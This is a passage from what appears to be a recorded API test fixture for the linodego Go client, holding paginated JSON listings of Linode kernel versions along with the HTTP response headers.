"linode/3.0.4-linode37", "label": "3.0.4-linode37", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-linode36", "label": "3.0.4-linode36", "version": "3.0.4", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0-linode35", "label": "3.0.0-linode35", "version": "3.0.0", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-linode34", "label": "2.6.39.1-linode34", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-linode33", "label": "2.6.39-linode33", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38.3-linode32", "label": "2.6.38.3-linode32", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-linode31", "label": "2.6.38-linode31", "version": "2.6.38", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.37-linode30", "label": "2.6.37-linode30", "version": "2.6.37", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.35.7-linode29", "label": "2.6.35.7-linode29", "version": "2.6.35", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.16-linode28", "label": "2.6.32.16-linode28", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.34-linode27", "label": "2.6.34-linode27", "version": "2.6.34", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32.12-linode25", "label": "2.6.32.12-linode25", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.33-linode24", "label": "2.6.33-linode24", "version": "2.6.33", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.32-linode23", "label": "2.6.32-linode23", "version": "2.6.32", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "2.6.18.8-linode22", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.31.5-linode21", "label": "2.6.31.5-linode21", "version": "2.6.31", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.30.5-linode20", "label": "2.6.30.5-linode20", "version": "2.6.30", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.23.17-linode44", "label": "2.6.23.17-linode44", "version": "2.6.23", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode19", "label": "2.6.18.8-linode19", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.29-linode18", "label": "2.6.29-linode18", "version": "2.6.29", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28.3-linode17", "label": "2.6.28.3-linode17", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode16", "label": "2.6.18.8-linode16", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.28-linode15", "label": "2.6.28-linode15", "version": "2.6.28", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.27.4-linode14", "label": "2.6.27.4-linode14", "version": "2.6.27", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.26-linode13", "label": "2.6.26-linode13", "version": "2.6.26", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25.10-linode12", "label": "2.6.25.10-linode12", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode10", "label": "2.6.18.8-linode10", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.25-linode9", "label": "2.6.25-linode9", "version": "2.6.25", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.24.4-linode8", "label": "2.6.24.4-linode8", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-domU-linode7", "label": "2.6.18.8-domU-linode7", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": null}, {"id": "linode/latest-2.6-64bit", "label": "Latest 2.6 (2.6.39.1-x86_64-linode19)", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-64bit", "label": "Latest 64 bit (6.1.10-x86_64-linode159)", "version": "6.1.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-x86_64-linode10", "label": "Latest Legacy (2.6.18.8-x86_64-linode10)", "version": "2.6.18", "kvm": false, "architecture": "x86_64", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.7.6-x86_64-linode136", "label": "5.7.6-x86_64-linode136", "version": "5.7.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.14-x86_64-linode135", "label": "5.6.14-x86_64-linode135", "version": "5.6.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.6.1-x86_64-linode134", "label": "5.6.1-x86_64-linode134", "version": "5.6.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.4.10-x86_64-linode132", "label": "5.4.10-x86_64-linode132", "version": "5.4.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.11-x86_64-linode131", "label": "5.3.11-x86_64-linode131", "version": "5.3.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.3.7-x86_64-linode130", "label": "5.3.7-x86_64-linode130", "version": "5.3.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.2.9-x86_64-linode129", "label": "5.2.9-x86_64-linode129", "version": "5.2.9", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.17-x86_64-linode128", "label": "5.1.17-x86_64-linode128", "version": "5.1.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 2, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - unknown X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels?page=3 method: GET response: body: '{"data": [{"id": "linode/5.1.11-x86_64-linode127", "label": "5.1.11-x86_64-linode127", "version": "5.1.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.5-x86_64-linode126", "label": "5.1.5-x86_64-linode126", "version": "5.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.120-x86_64-linode125", "label": "4.14.120-x86_64-linode125", "version": "4.14.120", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.1.2-x86_64-linode124", "label": "5.1.2-x86_64-linode124", "version": "5.1.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.8-x86_64-linode123", "label": "5.0.8-x86_64-linode123", "version": "5.0.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.0.1-x86_64-linode122", "label": "5.0.1-x86_64-linode122", "version": "5.0.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.20.4-x86_64-linode121", "label": "4.20.4-x86_64-linode121", "version": "4.20.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.8-x86_64-linode120", "label": "4.19.8-x86_64-linode120", "version": "4.19.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.19.5-x86_64-linode119", "label": "4.19.5-x86_64-linode119", "version": "4.19.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.16-x86_64-linode118", "label": "4.18.16-x86_64-linode118", "version": "4.18.16", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.18.8-x86_64-linode117", "label": "4.18.8-x86_64-linode117", "version": "4.18.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.17-x86_64-linode116", "label": "4.17.17-x86_64-linode116", "version": "4.17.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.15-x86_64-linode115", "label": "4.17.15-x86_64-linode115", "version": "4.17.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode114", "label": "4.17.14-x86_64-linode114", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.14-x86_64-linode113", "label": "4.17.14-x86_64-linode113", "version": "4.17.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.12-x86_64-linode112", "label": "4.17.12-x86_64-linode112", "version": "4.17.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.11-x86_64-linode111", "label": "4.17.11-x86_64-linode111", "version": "4.17.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.8-x86_64-linode110", "label": "4.17.8-x86_64-linode110", "version": "4.17.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.17.2-x86_64-linode109", "label": "4.17.2-x86_64-linode109", "version": "4.17.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.16.11-x86_64-linode108", "label": "4.16.11-x86_64-linode108", "version": "4.16.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.18-x86_64-linode107", "label": "4.15.18-x86_64-linode107", "version": "4.15.18", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.13-x86_64-linode106", "label": "4.15.13-x86_64-linode106", "version": "4.15.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.12-x86_64-linode105", "label": "4.15.12-x86_64-linode105", "version": "4.15.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.10-x86_64-linode104", "label": "4.15.10-x86_64-linode104", "version": "4.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.8-x86_64-linode103", "label": "4.15.8-x86_64-linode103", "version": "4.15.8", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.15.7-x86_64-linode102", "label": "4.15.7-x86_64-linode102", "version": "4.15.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.19-x86_64-linode100", "label": "4.14.19-x86_64-linode100", "version": "4.14.19", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.17-x86_64-linode99", "label": "4.14.17-x86_64-linode99", "version": "4.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.80-x86_64-linode98", "label": "4.9.80-x86_64-linode98", "version": "4.9.80", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.115-x86_64-linode97", "label": "4.4.115-x86_64-linode97", "version": "4.4.115", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.113-x86_64-linode96", "label": "4.4.113-x86_64-linode96", "version": "4.4.113", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.78-x86_64-linode95", "label": "4.9.78-x86_64-linode95", "version": "4.9.78", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode94", "label": "4.14.14-x86_64-linode94", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.14-x86_64-linode93", "label": "4.14.14-x86_64-linode93", "version": "4.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.64-x86_64-linode88", "label": "4.9.64-x86_64-linode88", "version": "4.9.64", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.68-x86_64-linode89", "label": "4.9.68-x86_64-linode89", "version": "4.9.68", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.12-x86_64-linode92", "label": "4.14.12-x86_64-linode92", "version": "4.14.12", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.14.11-x86_64-linode91", "label": "4.14.11-x86_64-linode91", "version": "4.14.11", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.56-x86_64-linode87", "label": "4.9.56-x86_64-linode87", "version": "4.9.56", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.50-x86_64-linode86", "label": "4.9.50-x86_64-linode86", "version": "4.9.50", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.36-x86_64-linode85", "label": "4.9.36-x86_64-linode85", "version": "4.9.36", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.33-x86_64-linode83", "label": "4.9.33-x86_64-linode83", "version": "4.9.33", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.15-x86_64-linode81", "label": "4.9.15-x86_64-linode81", "version": "4.9.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.7-x86_64-linode80", "label": "4.9.7-x86_64-linode80", "version": "4.9.7", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.9.0-x86_64-linode79", "label": "4.9.0-x86_64-linode79", "version": "4.9.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.6-x86_64-linode78", "label": "4.8.6-x86_64-linode78", "version": "4.8.6", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.4-x86_64-linode77", "label": "4.8.4-x86_64-linode77", "version": "4.8.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.3-x86_64-linode76", "label": "4.8.3-x86_64-linode76", "version": "4.8.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.8.1-x86_64-linode75", "label": "4.8.1-x86_64-linode75", "version": "4.8.1", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.3-x86_64-linode73", "label": "4.7.3-x86_64-linode73", "version": "4.7.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.7.0-x86_64-linode72", "label": "4.7.0-x86_64-linode72", "version": "4.7.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.5-x86_64-linode71", "label": "4.6.5-x86_64-linode71", "version": "4.6.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.6.3-x86_64-linode70", "label": "4.6.3-x86_64-linode70", "version": "4.6.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.5-x86_64-linode69", "label": "4.5.5-x86_64-linode69", "version": "4.5.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.3-x86_64-linode67", "label": "4.5.3-x86_64-linode67", "version": "4.5.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.5.0-x86_64-linode65", "label": "4.5.0-x86_64-linode65", "version": "4.5.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.4-x86_64-linode64", "label": "4.4.4-x86_64-linode64", "version": "4.4.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.4.0-x86_64-linode63", "label": "4.4.0-x86_64-linode63", "version": "4.4.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode61", "label": "4.1.5-x86_64-linode61", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.5-x86_64-linode60", "label": "4.1.5-x86_64-linode60 ", "version": "4.1.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.1.0-x86_64-linode59", "label": "4.1.0-x86_64-linode59 ", "version": "4.1.0", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.5-x86_64-linode58", "label": "4.0.5-x86_64-linode58", "version": "4.0.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.4-x86_64-linode57", "label": "4.0.4-x86_64-linode57", "version": "4.0.4", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.2-x86_64-linode56", "label": "4.0.2-x86_64-linode56", "version": "4.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0.1-x86_64-linode55", "label": "4.0.1-x86_64-linode55", "version": "4.0.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/4.0-x86_64-linode54", "label": "4.0-x86_64-linode54", "version": "4.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.19.1-x86_64-linode53", "label": "3.19.1-x86_64-linode53", "version": "3.19.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.5-x86_64-linode52", "label": "3.18.5-x86_64-linode52", "version": "3.18.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.3-x86_64-linode51", "label": "3.18.3-x86_64-linode51", "version": "3.18.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.18.1-x86_64-linode50", "label": "3.18.1-x86_64-linode50", "version": "3.18.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.7-x86_64-linode49", "label": "3.16.7-x86_64-linode49", "version": "3.16.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.16.5-x86_64-linode46", "label": "3.16.5-x86_64-linode46", "version": "3.16.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.4-x86_64-linode45", "label": "3.15.4-x86_64-linode45", "version": "3.15.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.3-x86_64-linode44", "label": "3.15.3-x86_64-linode44", "version": "3.15.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.15.2-x86_64-linode43", "label": "3.15.2-x86_64-linode43", "version": "3.15.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode42", "label": "3.14.5-x86_64-linode42", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.5-x86_64-linode41", "label": "3.14.5-x86_64-linode41", "version": "3.14.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.4-x86_64-linode40", "label": "3.14.4-x86_64-linode40", "version": "3.14.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.14.1-x86_64-linode39", "label": "3.14.1-x86_64-linode39", "version": "3.14.1", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.13.7-x86_64-linode38", "label": "3.13.7-x86_64-linode38", "version": "3.13.7", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.9-x86_64-linode37", "label": "3.12.9-x86_64-linode37", "version": "3.12.9", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.12.6-x86_64-linode36", "label": "3.12.6-x86_64-linode36", "version": "3.12.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.11.6-x86_64-linode35", "label": "3.11.6-x86_64-linode35", "version": "3.11.6", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.10.3-x86_64-linode34", "label": "3.10.3-x86_64-linode34", "version": "3.10.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.3-x86_64-linode33", "label": "3.9.3-x86_64-linode33", "version": "3.9.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.9.2-x86_64-linode32", "label": "3.9.2-x86_64-linode32", "version": "3.9.2", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.8.4-x86_64-linode31", "label": "3.8.4-x86_64-linode31", "version": "3.8.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.10-x86_64-linode30", "label": "3.7.10-x86_64-linode30", "version": "3.7.10", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.7.5-x86_64-linode29", "label": "3.7.5-x86_64-linode29", "version": "3.7.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.6.5-x86_64-linode28", "label": "3.6.5-x86_64-linode28", "version": "3.6.5", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.5.3-x86_64-linode27", "label": "3.5.3-x86_64-linode27", "version": "3.5.3", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.4.2-x86_64-linode25", "label": "3.4.2-x86_64-linode25", "version": "3.2.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.18-x86_64-linode24", "label": "3.0.18-x86_64-linode24 ", "version": "3.0.18", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.2.1-x86_64-linode23", "label": "3.2.1-x86_64-linode23", "version": "3.2.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.1.0-x86_64-linode22", "label": "3.1.0-x86_64-linode22", "version": "3.1.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.4-x86_64-linode21", "label": "3.0.4-x86_64-linode21", "version": "3.0.4", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/3.0.0-x86_64-linode20", "label": "3.0.0-x86_64-linode20", "version": "3.0.0", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39.1-x86_64-linode19", "label": "2.6.39.1-x86_64-linode19", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.39-x86_64-linode18", "label": "2.6.39-x86_64-linode18", "version": "2.6.39", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.38-x86_64-linode17", "label": "2.6.38-x86_64-linode17", "version": "2.6.38", "kvm": false, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}], "page": 3, "pages": 4, "results": 322}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, 